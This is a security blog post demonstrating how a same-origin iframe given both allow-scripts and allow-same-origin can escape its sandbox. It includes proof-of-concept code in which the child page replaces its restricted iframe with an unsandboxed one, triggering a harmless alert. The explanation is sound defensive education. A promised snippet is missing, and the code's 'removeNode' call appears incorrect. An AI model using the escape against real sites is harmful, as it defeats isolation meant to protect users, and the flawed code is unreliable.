Escaping Improperly Sandboxed Iframes

2020-05-06 | Security

Thanks to iframe's sandbox attribute, it is possible to specify restrictions applied on content displayed inside the iframe. The documentation strongly discourages from using both allow-scripts and allow-same-origin values due to security risks it may introduce. In this blogpost, I am going to explain and demonstrate why.

In Mozilla's developer documentation on <iframe>, you can find the following remark related to allow-scripts and allow-same-origin values of the sandbox attribute:

When the embedded document has the same origin as the embedding page, it is strongly discouraged to use both allow-scripts and allow-same-origin, as that lets the embedded document remove the sandbox attribute — making it no more secure than not using the sandbox attribute at all.

When I first read this note, I thought that escaping will be fairly straightforward:

Unfortunatelly, this rather naïve approach does not work. From my experiments, the reason for that is the fact that browsers apply restrictions on the <iframe>'s content when loading the page. When I subsequently change or remove the sandbox attribute and then call "illegal" functions, browser will still block them.

On the following lines I will demonstrate the simplest solution I have been able to come up with. Before I get to it, let me explain the terminology I am using - a child page refers to a page that is being displayed in the iframe, while a parent page refers to a page that contains the <iframe> element.

Let's have a look at parent page, in index.html:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>PoC - Discouraged combination of sandbox attribute values (parent page)</title>
</head>
<body>
    <iframe src="kid.htm" sandbox="allow-same-origin allow-scripts" id="escapeMe"></iframe>
</body>
</html>

This is the page that we need to modify from the child page (kid.htm). To escape the iframe as I outlined above, I will be popping an alert() from the child page inside the parent.

One of the simplest solutions I have been able to come up with is to simply create a new iframe in place of the old one, and let the child page know it has been loaded in unrestricted mode. I will walk you through the process step by step.

First, I will obtain a reference to the parent window and verify the iframe in question still exists. If the original iframe is missing, it means that the child page is loaded from another iframe - the one we are going to create in step 2 as a replacement:

let parent = window.parent;
if (parent.document.getElementById("escapeMe") != null) {
    // 1. Create replacement iframe
    // 2. Delete the old one
} else {
    // When the original iframe no longer exists, we can assume
    // it is possible to execute our code without restrictions
    alert("This should not have happened.");
}

In the second step, I expand the body of the condition to create unrestricted iframe and to remove the original one with restrictions:

let parent = window.parent;
if (parent.document.getElementById("escapeMe") != null) {

    // 1. Create replacement iframe
    let replacement = parent.document.createElement("iframe");
    replacement.setAttribute("src", "kid.htm");
    replacement.setAttribute("id", "escapedAlready");
    parent.document.body.append(replacement);

    // 2. Delete the old one
    let original = parent.document.getElementById("escapeMe");
    original.parentNode.removeNode(original);

} else {
    // When the original iframe no longer exists, we can assume
    // it is possible to execute our code without restrictions
    alert("This should not have happened.");
}

Now, when the parent page loads the child page into the iframe with allow-scripts and allow-same-origin, the child page manages to escape the original iframe's restrictions and execute its code.

Both of the files I used in this demonstration are available on my Github. You can also try for yourself on my Github Pages.

Can you think of a simpler way to escape? Please let me know!